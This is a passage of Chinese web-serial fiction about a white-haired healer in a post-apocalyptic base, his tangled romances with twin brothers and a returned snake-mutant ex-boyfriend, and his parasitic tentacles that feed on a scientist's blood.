特调小队的人员也在不断扩编,但无一例外都是万里挑一的人才,每天在训练场进行特训。 建造出来的训练基地是单独一栋楼,其中各层都是不同环境变化的训练模式,各种变异种都成为了训练工具之一,基地饲养的变异种变成了最好的陪练。 “不是,那位是谁啊,我看他从早上开始就在了,午饭的时候在打变异玫瑰,现在晚上了又开始打变异猎犬!”从旁边走过的训练兵,对于训练室内的少年表示惊叹。 “嗯?你不知道他啊?” “怎么?是一个什么很有名的人吗?我这几天刚加入,还真不知道是个什么情况。” “江医生,你最好别得罪他,治愈系和精神系双修战士,抛开精神系不谈。他是真真正正的末世神医,近一年我很少听说谁在他手上是没有救活的。” “我靠?!这么牛,那为什么还在这儿训练?不应该在医院吗?” “那是因为他是特调小队的,需要时刻准备出任务,且他的治愈系异能并不是用之不尽的嗐,总的来说林队长不放人,没人敢把他拘在医院救人。” “我听说林队长喜欢男人?不会就是他吧?” “嘘嘘嘘?”有人连忙让他住嘴,表情神秘兮兮地:“你怎么知道?林队长可明令禁止过不能传谣” “这不是人尽皆知的秘密吗?”那人耸了耸肩,声音也低起来:“林队长和他哥哥的三角恋故事早就在基地传遍呜呜” 新来的人还没说完,他便被人捂住了嘴,“快别说了,隔墙有耳!隔墙有耳!” “林队长可从来没承认过他喜欢小林医生小林医生也没说过他喜欢林部长” “都有林,真是横竖都是林啊。” 关于江林和林家兄弟的事情,的确是一个人尽皆知的‘秘密’,虽然当事人从来没承认过。 比如说林铭瑄对于江林的独一无二的照顾,不管江林训练多晚只要林铭瑄在基地,一定会陪他到最后。 再比如说江林在的地方,必定能看见林铭瑄的身影,很多人解释这只是林铭瑄基于救命之恩对江林的照顾,是战友情、是兄弟情。 如果半跪在地上给兄弟穿鞋也算的话,那的确是感天动地的兄弟情。 而关于江林对林部长的‘暗恋’就比较“隐晦”了,他会百忙之中抽出时间参加林部长举办的生日宴会,远远看一眼,送上礼物又默默离开出任务。 上次林政钰从林副部长升为部长的晋升仪式上送上鲜花,这个机会是江林主动参加选拔,从百人中脱颖而出得到的。 三人的三角恋关系,让基地的内部人员叹为观止,从未想过末世了,还有这么狗血的剧情可以看到。 主角还是双胞胎兄弟……哇哦。 江林从猎犬身上爬起来,吐了吐嘴里的毛,眨了眨睫毛上沾湿的血迹,身上的作战服脏污不堪,四周躺着不少变异猎犬的尸体。 他前脚进入专用洗浴间,后脚林铭瑄便跟了过来,有门的隔间,倒也不会屁股蛋子对着屁股蛋子洗澡。 “林队,下次任务有通知了吗?”江林声音混杂着水声听着有些不真切,血迹混着热水被冲刷干净,他揉了揉有些酸胀的脖子。 他来到蓝天基地一年,早已经成功融入特调小队和基地,他现在的模样和刚开始来的青涩也极为不同,齐腰的白发,像是瀑布般披散在身后,发尾落在微翘的臀部,柔韧的腰线勾勒。 “具体还不知道。”林铭瑄不会轻易离开基地,江林也从来没有离开他独自参加过小队活动。 “怎么?这是闲了?” “是啊,骨头都懒了。”江林语气含笑,开着玩笑:“晚上是不是还有迎新会?” 特调小队每几个月便会选拔一批人才,毕竟他们这个小队更新换代的速度也很快,总是需要一些新鲜资源的。 这是江林参加的第三个迎新会,意思意思去认识新人。 “嗯,再不走我们该迟到了。”林铭瑄话音落下,水声停下,率先出门换上了衣服。 等江林收拾好自己已经是十分钟之后的事情了,他一边编着头发,一边坐上林铭瑄的副驾驶。 他简单编了一个长长的麻花辫垂在背后,额前凌乱的刘海,刚刚才烘干的头发,头顶还似冒着热气。 “看来又要迟到了。”江林叹了一口气,每次训练都会忘记时间。 “没事。”林铭瑄递给他一贯补充能量的营养剂,“也不是什么重要的事情。” 江林含着甜口的营养剂,懒懒地靠着休息,余光瞥见了林铭瑄标准的凌厉下颌线,思绪飘得远,林铭瑄对他的特殊他心知肚明,但他不会主动戳破。 男人察觉到他的视线,朝着他瞥了一眼,两人目光恰好对上,江林眼睛月牙似的弯了弯,笑着说道:“这次的口味比上次更甜。” “新口味。”林铭瑄回答,移开自己的视线,他的确对江林有想法,自从认识江林之后,他的注意力便下意识的放在他身上,不是因为救命之恩。 倒是因为救命之恩,让他误会了很久,他以为自己对他感情真的只是报恩,直到有次江林说梦话和他哥哥表白。 林铭瑄那瞬间的难受让自己意识到是喜欢上了江林。 喜欢上江林是一件轻而易举的事情,就小队里要说谁是团宠,非江林莫属。 两人姗姗来迟,就等他们两人了,林政钰看着同时出现的两人,习以为常的笑了笑:“又训练到现在?” 江林没说话,低头跟在他身后落座,林铭瑄点了点头:“嗯,来晚了。” 江林正在游神,察觉到了一股侵略强势的视线,他不经意的抬眼,便瞧见一张熟悉又陌生的脸。 坐在他正对面的男人,是许久不见的隗绍,他的面容没有什么改变,那双阴冷的蛇瞳正直勾勾盯着他。 江林一怔,表情顷刻间凝固住了,抬起拿刀叉的手顿住,下一秒掌心被塞了一杯温热的奶茶,耳边是林铭瑄低沉地声音:“你最喜欢喝的” 一旁是明恋他的人,对面是他死而复生的男朋友,一抬眼看见的是他现在‘暗恋’的对象。 然后他眼见着隗绍端着酒朝着他走过来了。 江林: 第60章 剧情已经彻底改变, 所以对隗绍的出现江林是没有预料的。 “林队长,林部长,我叫隗绍, 异化异能者。”隗绍笑得游刃有余,得体淡然, 热情又不谄媚,像是没有瞧见林铭瑄旁边的江林。 但比江林还不冷静的是来蹭饭的石欢,她也算是特调小队的一员, 但因为是空间异能所以出任务很少,一般都是和运送物资有关的。 石欢表情煞白, 看江林那一眼,手心都出汗了,她咬了咬牙,等隗绍三人寒暄的时候,弯腰悄咪咪将江林带走了。 石欢自以为动作隐蔽,但其实被三人看得清清楚楚, 林铭瑄以为两人有事要谈, 林政钰的眼神意味不明地落在隗绍身上, 隗绍只是扫了一眼江林离开的背影,眼底毫无异色。 “完蛋了, 完蛋了, 怎么办,哥你前男友做鬼都不放过你,阴魂不散的”石欢急得打转, 心中一点也不想江林现在的生活被打扰。 江林咬了下唇,垂下的眼底一片焦灼,轻声说:“不然我和绍哥说清楚” “哥, 你确定说得清楚吗?当时隗绍和李野行打起来是什么当口?而且我们谁都没有去帮他,只怕他早就给你打上了忘恩负义的标签。”石欢轻声分析着,犹豫说:“要不我去帮你解释?” “不行”江林自然不会让石欢冒这种险。 两人说话被打断,话题的主人公出现在眼前,林铭瑄和隗绍站在一起,隗绍端着酒出现,唇角泛着淡淡的笑容:“这位是江医生吧?久仰大名。” 林铭瑄提醒他:“他不喝酒。” 隗绍端酒的动作一顿,胸腔仿佛有手指在抓挠般,因为林铭瑄这句话表示亲近的话,一切的忍耐都无法进行下去,“是吗?我明明记得从前他是喜欢喝的。” 林铭瑄视线落在江林强装镇定的脸上,又看向隗绍,两人半点不躲地对视着:“你们从前认识?” 江林垂了垂眼,嘴唇轻咬,没有说话。 气氛有些凝滞,石欢想开口解释什么,被隗绍直接打断,“江医生不想说,那就不必再提起那些不值钱的过往。” 江林睫毛颤了颤,视线上移看向他,欲言又止的表情,最终又静默下来。 隗绍差点捏碎了杯子,以退为进这一招也并不好使。 林铭瑄见状有一点猜测,故意伸手自然地抓起江林的手,摸了摸他的手心,“外面冷,进去吃东西吧,一天训练应该饿了。” 果然就见隗绍的视线黏在了两人相握的手上。 江林低着脑袋当缩头乌龟,跟在林铭瑄身后走了。 石欢见人都走了,想要偷偷溜走,被隗绍叫住,将那杯没有塞进江林手中的酒递给了她,他脸上表情似笑非笑:“石欢。” “呵呵我未成年喝不了酒呢。”石欢不尴不尬的笑了笑,有些心虚但是不多。 “你陪着江林一路到蓝天基地,江林和李野行”隗绍正在想用什么词形容。 “苍天有眼,江哥和那神经病清清白白”石欢就差举手发誓了,一脸的正义凛然。 隗绍扯了扯唇角:“那刚刚江林和林队长” 这次是石欢打断他的话:“干干净净,一尘不染!” 因为有染的另有其人啊。 “像江哥这么优秀的人有追求者不是很正常的吗,你随便打听打听就知道林队长只是单恋。”江哥喜欢的人是林部长。 隗绍见她这般反应,唇角勾起的笑意冷淡,“没事,我现在加入了特调小队,和江林来日方长。” 石欢听了这话加上他的蛇瞳,只觉得毛骨悚然,开口想要劝:“不是,大哥” 但是隗绍根本不听她的话,转身就走了 林铭瑄松开江林的手,转头看向他,问:“你和他从前认识?” “认识的。”江林没有隐瞒说谎,“我以为他死了末世前我们是情侣。” 林铭瑄动作一顿,“原来是情侣,难怪他的眼神像是要吃了你。” 江林眼神微微错开他的视线,对他没有多余的解释,低头埋进了碗里,吃着碗里的肉。 林铭瑄剑眉拧起,下颌线紧绷起来,心底有些难受的情绪,吃得东西都没什么胃口,见隗绍重新出现在视线中,下意识地看向他的眼神冷了几分。 但林铭瑄察觉到自己心态失衡,又缓缓克制住了自己的视线,毕竟隗绍暂时也没有做错什么。 外面觥筹交错,华灯初上,隐秘的包间内—— “唔。”江林被轻轻扼住下颌,被迫仰起头承受来自林政钰的吻。 就像林铭瑄认为的,爱上江林是一件如同喝水般简单的事情。 林政钰表面上是谦谦君子、与世无争的林部长,却早就和弟弟喜欢的人勾搭在一起了。 早在江林当众给他送花表露出深情的时候,林政钰便私底下找人接触过他,在知道自家眼高于顶的弟弟喜欢他后,更是顺水推舟地将人拢在了身边。 就算没有林铭瑄,像江林这种杰出的人才,林政钰也会不惜一切代价地将人收拢在身边。 □□并不算什么稀奇事儿,他不见得有多喜欢江林,却会抽出空来和他私会,哄着他为自己办事。 江林这是第三次和林政钰接吻,林政钰神龙见首不见尾的,两人的地下情又要掩藏,单独碰面的机会很少。 “部长”江林抱着他的腰,人被抵在墙上,嘴唇被吮得发红,眼波荡漾,白色的发尾被林政钰把玩在手中。 林政钰垂眼看着少年,鼻尖充斥着他身上浅淡的香味,视线深沉,不易察觉真实的情绪,他看江林像是看小孩儿似的,毕竟他的确比江林大不少。 林政钰低头又在他唇上啄了啄,“上次家世龙找你看病,他的身体状况现在如何?” 江林脸埋在他肩膀上,家世龙是现在基地的一把手,六十多岁又未觉醒异能,上次感染病毒差点当场去世,是被江林救回来的。 “医生说他身体在急速衰败,就算好起来,也活不了几年了”江林眯了眯眼睛,环在他背后的手冒出一点蠢蠢欲动的触手,想要进入他的身体。 如果没有江林的干扰,现在家世龙已经死了,只怕林政钰恨死了他多管闲事,又要哄着他说没事。 江林攀上他的脖子,吻上他的唇角,像个贪欢的小孩儿,漂亮的眸子极为灵动:“还要” 林政钰睨着眼前漂亮的少年,那张和林铭瑄有七八分像的脸,透出一点薄凉的柔情,嘴唇要比林铭瑄更薄一点,“乖,头发因为我说喜欢长发,所以一直留着?” “嗯。”江林乖巧点头,眼底印着林政钰温柔的眸子,不得不说这人真的很会装,如果不是系统攻略值如同王八般一动不动,他还真的可能会被疑惑一二呢。 “那位新来的隗绍从前是不是和你认识?”林政钰轻轻抚摸着他的耳垂,神色暗藏着丝丝打量,虽然是疑问句,却是笃定的语气。 他的洞察能力非常敏锐。 江林的反应有些僵硬,嘴唇轻轻抿起,没有说话。 “我猜猜,他是你喜欢的人?”林政钰语气温和,带着轻轻的笑意。 “不是。”江林着急解释,巴拉了一下他的脖子,眼睛认真盯着他:“我现在只喜欢你。” 林政钰眼底沁出一点真实的笑意,不管出于什么角度,江林的喜欢都让他觉得很舒心,充分满足了男人某些方面的虚荣心。 “那从前呢?”林政钰捧着他的脸。 “他是我以前的男朋友,我一直以为他死了,当时我们在一起也没有多久我会和他解释清楚的。”江林向他保证。 “年纪不小,怎么这么招人喜欢呢?”林政钰夸得江林有些脸红,嘴唇被男人含入嘴中轻嘬了几下。 “被他亲过吗?还是只被我吻过。” 这话江林没法接,这个世界不光被隗绍亲过,李野行和方向阳也亲过,只有林铭瑄没有 “看来是亲过了。”林政钰也不觉得生气,用指腹摸索了一瞬,语气轻轻:“出去吧,再晚些,林铭瑄该起疑了。” 江林听话地松开手,视线看向旁边窗户一闪而过的小蛇影,垂了垂眼,知道这是被隗绍听了去,也看了去。 江林摸了摸有些烫的嘴唇,外面来了更多人,一般这种迎新会就是一场变相的社交集会,末世也少不了人脉互相帮忙攀附。 林铭瑄精准地找到了江林的身影,等着他走过来。从江林身后看见了早已经离席男人的背影,上次便感觉有点不对劲的,现在算是证实了两人的关系。 江林的脸颊有些热,灌了一口加冰的草莓牛奶,目光和林铭瑄清明的眼对上,似乎有些心虚地垂下,轻声说:“我们现在走吗?” “走,我送你回家。”林铭瑄拿起自己和他的外套,领着他离开。 回家的气氛却没有刚来时候的好,沉默半晌,林铭瑄还是沉声开口了:“你和林政钰已经确定关系了?” 江林手指捏在一起,也没瞒着他:“没有,部长说这样对他影响不好我也没想公开” 林铭瑄眉头却皱得很紧,脚狠狠踩在油门上,车速飞快,“没确定是什么意思?没确定带你在小房间里又亲又摸的算什么?” “没摸”江林耳根都红了,从未想过他们两人的偷偷摸摸能逃过林铭瑄的眼睛。 “你到底为什么喜欢他这样的人?”林铭瑄保持着自己基本的涵养,所以没有中伤他哥哥,语气中却是藏不住的怒气。 “他很善良,也很温柔,对普通人也很好,虽然没有异能,但强大而温和,他会是一个厉害的首领”江林表现得一副痴迷的神情。 林铭瑄心肝脾肺都挤在一起,咬牙切齿地说道:“但这只是他的表象” 旋即,他又有些挫败,因为他是最了解林政钰的人,可是江林不知道,他所看见的都是林政钰的好。 他将车停在旁边,解开安全带,朝着江林靠近一点。 江林随着他的靠近往后躲开,在后脑勺撞上窗户的时候,林铭瑄的大手捂住了他的后脑勺。他垂着眼静静看着他,目光灼灼,眸子黑沉深情:“你应该知道我对你的感情,确定一点都不考虑我吗?” “”江林看着林铭瑄和林政钰相似的眉眼晃了晃神,好像并不会应对这种情况,手足无措地说道:“队长,我不想伤害你” “不想伤害我,就不该喜欢我哥。”林铭瑄被他的走神弄得有些烦躁,从未像这一刻这样讨厌和林政钰相似的长相。 他的语气不怒自威,江林不再说话了,只是一双眼静静看着他,无辜又美丽。 “抱歉。”林铭瑄察觉出自己的态度不对,主动道歉,坐回驾驶位上,声音很轻,像是喃喃自语:“只是我不懂,你为什么会喜欢他。” 江林沉默,心中也在默默叹气,他也不想啊,但是任务所在真的没办法。 后半段路程,两人没了交流 夜色下沉,晕染了一丝淡淡的红晕,江林的房间内,暖烘烘的,触手在空中轻轻地发颤,缠绕在江林腿上,连接着方向阳的身体。 两人拥抱在一起,方向阳的脸色有些苍白,嘴唇却被江林咬得很红,其实在江林的触手进入他身体吸取血液的时候,是不需要接吻的。 但江林更喜欢这样,会让他身体多方位地产生餍足感,而且看方向阳嫌弃又没办法拒绝的样子,虽然事后方向阳会用掉很多漱口水。 方向阳把江林养的很好,触手一根根都饱满光滑有光泽,欢快地缠着他的脖子,想让他窒息,时不时从胸腔就会探入一条浅色的触手,让他产生痛楚的同时,感受到触手的野蛮,仿佛在搅动他的内脏。 其他触手是没资格进入方向阳的身体吸取他身体的血液和能量的,只有江林主观意识产生的触手,才有资格吃到新鲜的血液。 江林满足地眯着眼,缠着方向阳的舌尖,咬破他的舌,轻轻吮了起来,蓝色的眼瞳充斥了一股淡色的红。 他不得不承认方向阳很厉害,若是普通人被他这么寄生一年,只怕早就只剩下干骨了,但他研究出的供血药剂能迅速促进血液产生,现在已经适用于医疗急救 方向阳扯了扯手臂深色的触手,衣摆之下,浅色的触手有半条已经进入他的腹部,还有半条在争先恐后地进入,想要占据他的身体。 江林最近越发欲求不满,越发凶悍了,像真的要把他吃掉。 “你的触手又新生了。”方向阳握住他的触手,语气有些喘息。 “第七根。”江林眼睛亮亮的,展示自己的成果般,将七根触手全部放出来,其他的触手收回去,其中一根最短的轻轻碰了碰江林的脸颊,又去碰了碰方向阳的脸侧,在他嘴角坏心思地游离。 直到方向阳张嘴说话,那条短小的触手钻进他嘴里,朝他喉咙往下探,方向阳瞬间被逼得干呕起来,想要阻止,但四肢又被江林其他的触手缠住。 只能等他玩开心了,才被解救,现在江林越发危险起来。 但方向阳真的没办法拒绝吗? 其实并不是,只是在纵容他养的小怪物而已。 “博士,你不会生我的气吧。”江林抱住方向阳的胳膊,像无数次吸食他的血液后,露出的可怜委屈神情,让人很难生得起气来。 “它们生长得越来越快了。”方向阳发现江林的身体变化极大,治愈异能越发强大,精神系异能也在方向阳的帮助下水涨船高,身体也在被触手改造。 “博士,现在这么多寄生生物,你为什么对我这么好?”江林好奇地看着他,有些不能理解他对自己的供养,若说特殊,随着越来越多的寄生生物出现,他也显得不再那么特殊。 方向阳伸手拿起旁边桌上的眼镜,起了一丝雾气,他戴上眼镜,看向江林那张红润的脸,身体不再那么瘦削,脸颊两侧也多了一些肉肉。 “因为你的身体内,没有意识在影响你,你不同于其他寄生物,这些触手本就是你身体的一部分。” 江林拧了下眉,嘴唇微微一撇,触手勒住他的脖子,让他窒息,才慢吞吞地问:“只是因为这个?” 他走近一点,呼吸洒在他耳畔,“难道不是因为我是江林才对我好的吗?” 方向阳不害怕他的威胁,轻轻扯了扯他的触手,诚实回答:“是,有这个原因,你这个坏习惯需要改一改,如果经常大脑缺氧,会导致脑子变蠢的” 江林摇头,“不改,不是我做的,不关我的事儿,是它们的问题。” 江林经常坚持自己的触手有自己的独立的意识,所以干坏事不能算在他头上。方向阳对于这个说法很难认同,就算触手有微弱的自我意识,也一定受江林绝对控制的。 “博士,我今天看见我前男友了。”江林有些苦恼,撑着下巴,坐在地下实验室看着方向阳给自己注射血液增长试剂。 方向阳强忍身体的难受,血管宛如在肌肤下撕扯膨胀,每次注射都是一场酷刑,他额前布满冷汗,疼得青筋凸起,持续了十多分钟才平静下来,没有对江林说的话进行点评,正在写今天的实验报告。 “你不知道吧,他也是寄生物,阴魂不散的,我还以为他死了呢我最喜欢方博士,就算他来找我,我也不会继续喜欢他的” 江林也不需要他回答,碎碎念:“今天林铭瑄和我表白了,但是我拒绝了,哎,谁让我最喜欢方博士啦。” “方博士会养着我呀博士很好吃哇” 在空旷的实验室内,滴滴答答的水声响起,少年的声音幽灵般响起,无人回应,自说自话,自我对话,显得有些阴森恐怖。 方向阳早就熟悉江林这样的自言自语,触手有自己的细微意识,所以江林的精神力随之而强大,但也会造成他精神力的混乱,这些细语只是他的一些发泄和放松而已,甚至一些话可能是那些吸惯了他血的触手通过江林说出口的。 就是为了下次它们能饱餐一顿而卖乖。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 外面冰雪飘飘, 蓝天基地已经修建了全天供暖系统,大街小巷都温暖如春,江林咬着石林准备的饺子抵达训练场所。 不出意外他看见了正和新人待在一起的隗绍, 他站在人群里中间,赫然成为了其中领头羊, 在看见江林的时候,面如常色地打招呼。 声音淹没在众多嘈杂的人声中。 江林弯了弯唇,简单笑了笑, 便上了电梯,第一天来, 会有人带着他们进行了解,然后再选择自己的训练场地。 隗绍阴森的竖瞳微微眯起,像蛇盯住了猎物,因为他的冷漠几乎抓狂,却还要保持微笑让人看不出异样。他为了江林和李野行生死搏斗,最后差点死掉, 他辛辛苦苦找到他。 江林却装作不认识他了? 那当时说喜欢他的人是谁? 江林能感觉到一股阴湿的眼神落在他的肩膀上, 不过他却不着急, 隗绍迟早自己会找上他的。 “哇,这位就是江林吧?” “白发蓝眼除了他还有谁?” “啧啧, 之前有人和我说, 江林长得好看我是不相信的,一个男人能有多漂亮?现在我信了,比一些姑娘都漂亮啊。” “嘿嘿, 不漂亮能勾得林队长神魂颠倒的” 隗绍不耐烦他们对江林的指指点点,有一种自己的东西被人打量估价的即视感,他不动声色地扯开话题:“咱们林队长是什么异能?” 隗绍对江林又恨得一分, 就算换了地方,江林勾引男人的手段还是一如既往地超绝。 “双系吧?精神系和金属系” “这样啊。”隗绍记了下来。 “嗯嗯,说真的,林队长和江林还挺配的,江林也是双系异能者,治愈系和精神系” 隗绍的表情微微一怔,“等下,你说江林是双系?” “是啊。”那人斩钉截铁说的,眼神还讶异地看向隗绍,“你连这也不知道啊?” 隗绍表情有些扭曲了:“” 好啊,江林到底还有多少事情是瞒着自己的? 所以从一开始江林就在骗自己? 江林正在模拟舱内进行精神力的训练,这个模拟仓是特意为精神系异能者打造的,用于异能的提升,会根据自己的精神阈值进行区分,制定最合适自己的训练方案。 他一天的训练时间排得很满,上午异能训练,下午体能训练,晚上有精力还会去医院帮忙。 刚从模拟仓出来,林铭瑄在门口等他,昨晚的谈话仿佛没发生,两人结伴一起去食堂吃饭。 “上午在哪个模拟场?”林铭瑄偏头问他。 江林看着今天的菜式,心不在焉地回答:“森林沼泽。” “等级多少?”林铭瑄习以为常他的走神。 “第一次进入,测试等级很差,C等。”江林回答,身体探出去看菜谱,差点被身后的人撞到,被林铭瑄身后拽了一把,才避免了惨案。 “小心。”林铭瑄松开手,提醒了他一句:“很正常,想好吃什么了吗?” 江林站在他身后,点了点头:“想吃蒜苔炒肉。” “成。”林铭瑄便又道:“下午训练场会进行对打互练,你要参加吗?不想参加我把你的名单划掉。” 江林闻言,笑眯眯看了他一眼,低声答道:“队长,你这算什么?徇私舞弊了哦。” “你也不是队内的主要战斗武力,不参加也合情合理。”林铭瑄面不改色地回答,轮到他打饭,报了两个菜名,端了一杯能量饮料先去坐下。 这并不算正经切磋,只是帮助新人融入,顺便了解护互相的实力,毕竟末世最重要的还是自身战力。 四四方方的小餐桌,江林坐在林铭瑄对面,背靠着阳光,鬓角散落着白发,身后长长的马尾辫,碎金的光落在他眼皮。他享受地眯起眼,“我没关系,你不用因为隗绍来迁就我,我不是那种计较的人,他也不是小肚鸡肠的人。” 林铭瑄理解的点头:“那我就正常安排了。” 特调小队分为五个小队,分别都受林铭瑄的统一调遣,小队里也有各自的小队长,江林自然是跟着林铭瑄小队,这次比试也是将新人按需编进五支队伍里,查漏补缺。 比试也很公平,采用抽签的形式,若是能力差距太大,则可以重新抽签车轮战。 现在展示的实力越强,以后出任务得到的报酬和资源越多。 江林运气不算好,抽到的是攻击力极强的异化型异能者,新人里唯二的,是一个英姿飒爽的女孩儿,异化状态是狮子 “江医生不要让着我哦。”师裙和他握手,礼貌和他拥抱了一瞬,笑着打趣道。 有专门的比武擂台,两场比试同时开始,江林一跃而上,穿着作战服,肩宽腰细,这一年身高还蹿高不少,女生比他矮了一块豆腐,但一年的训练并没有让他变成肌肉猛男,只是让肌肉更加紧实了些。 师裙金黄的头发,并没有轻敌,原本娇小的身躯化作了庞大的狮子,两米高,原本还能更大,场地有限便作罢了。 来势汹汹的狮子宛如大山般朝着江林压了过来,他连忙翻身躲过她的攻击,手中抓着林铭瑄送他的短刀,这是他给他量身制作的,从前的短刃早就坏掉了。 狮子爪子很尖锐,朝着他抓来,江林身姿利落矫健,迎面而来的爪子被他躲过,他眼神微闪,用腰间的长绳捆住她的大爪子,抬脚踹在她的肚子上,却发现自己的力气不够,踹不动。 江林手臂撑起,用绳子挡住她咬下来的攻势,近在咫尺的虎口,能一口吃掉他的脑袋,手臂肌肉紧绷着,精神力迅速定住师裙,翻身而上,骑在她背上,试图用绳子锁住她的脖颈。 隗绍眼神紧紧锁在江林身上,心中升起阵阵震惊,他是知道师裙的,能力不弱,是群战的一把好手,江林居然能和她打个五五开? 两人缠斗在一起,谁都不能放开手一搏,切磋而已不会致人于死地,但也免不了受伤。 最终江林被狮子压住了手脚,咬住了喉咙,半边肩膀被咬伤,而师裙也被他用短刃刺穿了大腿。 江林落败,师裙险胜。 师裙变成人形,挑眉称赞道:“好厉害啊,江林。” 江林看向她流血的腿,伸手扶住她,笑着说道:“你更厉害,来,我给你治伤。” 师裙一瘸一拐,在休息区看他们继续比赛,在江林的治疗下,两人的伤不值一提,都是一些皮外伤,下手都不重。 此时,隗绍登上了擂台,两人闲聊起来:“那位也是异化异能,初见时侯打过一架,他比我厉害一点” 江林看着熟悉的蛇影,不过几息之间,他面对的火系异能者就落败了,他的蛇鳞进化了,现在水火不侵,紧接着又有两位异能者上场,无一例外全部落败。 江林眼神微闪,视线落在隗绍昂起的蛇头上,阴湿的蛇瞳时不时扫过他。他默默舔了舔唇,喉结缓缓滚动一瞬,所以隗绍血的味道会比方向阳美味吗? 整场比赛江林没有坚持看完,先去洗浴间洗漱,换掉了身上的沾血的衣服,刚刚有人联系他让他去治疗感染者。 他简单冲洗一下,水声渐大,四周雾气缭绕,门锁不知道什么时候被打开。江林感觉一丝凉意,转身的刹那,人被抵在墙上,双腿被蛇尾缠在一起,雪白的肌肤浮动着水珠,衬得冰冷的蛇鳞越发漆黑,黑白交织。 隗绍上半身是人,下半身是蛇,紧紧缠着他,花洒的水还在继续,水珠四溅,门又重新被关上,他掐着江林的下颌。 江林睫毛上都是水珠,急速眨了几下,才看清楚面前的男人,男人那双竖瞳离得极近,有一种自己在和野生大蛇对视的即视感。 “绍哥”江林脸被掐着,两腮下陷,脸上蒙着一层淡淡的水雾,眉眼如同出水芙蓉般,蓝色的瞳孔有些放大。 身上的蛇尾缠得更紧了,勒着他的腿肉,不断紧缩。 “你不是装不认识我吗?”隗绍垂着眼看着他,语气带着冷冷的笑意:“现在又认识了吗?” “没有装不认识”江林手抓着他的手腕,又推他的肩膀:“你先放开我。” “不放,我吃掉你这个忘恩负义的东西。”隗绍危险地眯起眼,似乎恨极了他,但身体又止不住渴求着他,从靠近他开始心脏便跳个不停。 “”江林视线微微外撇,那里水灵灵站着个男人,不知道什么时候来的,正看着两人。 林铭瑄和江林的视线对上,平静开口:“隗绍你这样对第二次见面的人是不是太热情了。” 隗绍这才转头看向他,蛇尾松开江林,变成了人形,挡在江林身前,不让他赤条条的身躯暴露在男人视野下。他丝毫不惧眼前气势强大的男人,也管不了队不队长了,好不容易逮住江林:“江林没告诉你,我是他男朋友吗?” “哦?他只说过你是他年少犯的错。”林铭瑄抬脚上前走了两步。 隗绍挺了挺胸膛,挡住他的靠近,他转头问江林:“你真这么说我?” 江林一个头两个大,硬着头皮否认,毕竟在他的视角里,隗绍“死之前”还是在变异植株下用蛇身义无反顾护着他的男朋友:“没没这么说。” “队长听见了吧?横刀夺爱似乎不合适吧?”隗绍唇角泛起丝丝笑意,得意的样子好似小人得志。 “一年时间对他不管不问,你也配当男朋友吗?”林铭瑄迅雷不及掩耳的速度动手,隗绍身形微躲,暴露了身后的江林,下一瞬林铭瑄抓住了江林的胳膊想把他扯到自己身后,反应过来的隗绍按在林铭瑄手腕上。 “林铭瑄你想干什么?”隗绍竖瞳如同针线般粗细,眼底透着阴冷,手腕上的蛇鳞若隐若现。 江林太阳穴突突跳动了两下,能不能让他先穿件衣服? “你要和我在这里动手吗?”隗绍问。 林铭瑄对上他的目光,不退不躲:“如果你想的话。” “你别碰他,松开手。”隗绍死死盯着两人相碰的手腕,讨厌任何人碰江林。 林铭瑄当然不可能听他的,猝不及防将人拉入怀中,抱着他湿辘辘的肩膀,另外一只手对上隗绍砸向他的拳头。 江林拧起眉,推开林铭瑄,同时躲开隗绍抓来的手,表情有些烦躁:“闹够了没有。” “一定要让别人看笑话吗?” 这里是公共区域,门口已经传来嘈杂声,他看向林铭瑄语气缓了缓:“这事儿你先别管,我迟早要和隗绍谈一谈的,你先出去吧。” “我要来不及了,你和我一起去医院。”这话是对着隗绍说的。 江林拿着衣服进入隔间飞快穿好。隗绍跟在他身后离开,他似笑非笑地回头看了一眼立在原地的林铭瑄,眼神挑衅。 林铭瑄垂下眼,硬朗的脸庞没有什么表情,已经在努力克制不流露出任何多余的情绪,但下弯的唇角却带着浓浓的苦涩。 他甚至不是江林的第二选择。 良久,他面色如常地走出门,面对一众探究目光没事人般组织完所有的比赛。 江林开车,隗绍坐在副驾驶,他启动引擎,斟酌开口:“绍哥你还活着我真的很开心。” 隗绍只是嗤笑一声,冷冷道:“真的开心吗?我还以为你恨不得一辈子不出现在你面前才好。” “怎么会?”江林面露无奈,揉了揉眉心:“李野行说你被寄生了,所以胡乱攻击人才不得已杀掉你的。” 隗绍的表情有瞬间的僵硬,还以为自己的秘密败露,双眼看向江林,只能看见一个侧影。 “我当时和石欢姐弟寄人篱下,李野行不是一个好相处的人,我没办法确定事情的真伪,也没能力去找你。”江林声音很轻,“但绍哥你真的没被寄生吗?” 江林轻轻看了一眼隗绍,视线在空中相撞,蓝眸幽深,隗绍瞬间警惕起来,可以确定江林知道了什么。 “你在说什么?”隗绍一时间脑海中闪过很多危险的念头,都是该怎么神不知鬼不觉地把江林弄死。 江林却轻飘飘地将这件事情揭过,弯了弯眸子:“绍哥我们两个从前那点事儿能不能过了?” “过了?”隗绍重复了这句话。 “怎么过?” 江林释然道:“一年的时间发生了太多事情,感情也时过境迁,我们都有了新的生活不是吗?” 隗绍视线凝固在他脸上,粘稠阴湿:“拥有新生活的只有你,江林。” “我从未忘记过你。” 就算做鬼他也不会放过江林和李野行。 江林嘴角笑容淡了下来,一时间不知道该继续说什么了。 “你有了新喜欢的人?”隗绍又倏地开口:“是林铭瑄吗?” “不是他。”江林摇头,不想多说什么:“绍哥和其他人没关系,但是我不喜欢你了,今天我就是想和你好好告个别。” 那天他看见的人就是林政钰,他们两个拥吻的画面在脑海中闪过,牙关微微咬紧。 灯光落在隗绍英俊的脸上,忽明忽暗,阴影散落,表情阴沉,被单方面分手的感觉并不好受,憋得难受,喘不过气来。 “我不接受。”隗绍质问说:“我哪里对不起你,江林?你要这么对我?” “”江林无奈叹气:“绍哥你成熟一点。” 隗绍:“” 被分手还要成熟一点,他是不是该放鞭炮庆祝一下? 车在医院停下,江林率先下车,对着副驾驶冷着脸地隗绍道:“你可以先回去,我可能要晚一点才行。” 隗绍没说话。 江林赶时间没继续理会他复杂的心理活动,他辅助医生治疗被感染的患者,那是一个被丧尸咬伤的异能者,吊着半口气,脸上肌肤都剩不下多少好皮,都是丧尸的咬痕。 他是为了掩护队友完成任务才受这么重的伤,奄奄一息,已经意识模糊,最终还是没能救回来。 街道的路灯都熄灭了一半,街道旁边没有绿植,末世情况下很难保证绿植不异化,干巴巴的街道,夜晚显得有些苍凉。 江林准备回去开车,副驾驶上隗绍稳稳坐着,一直在等他。 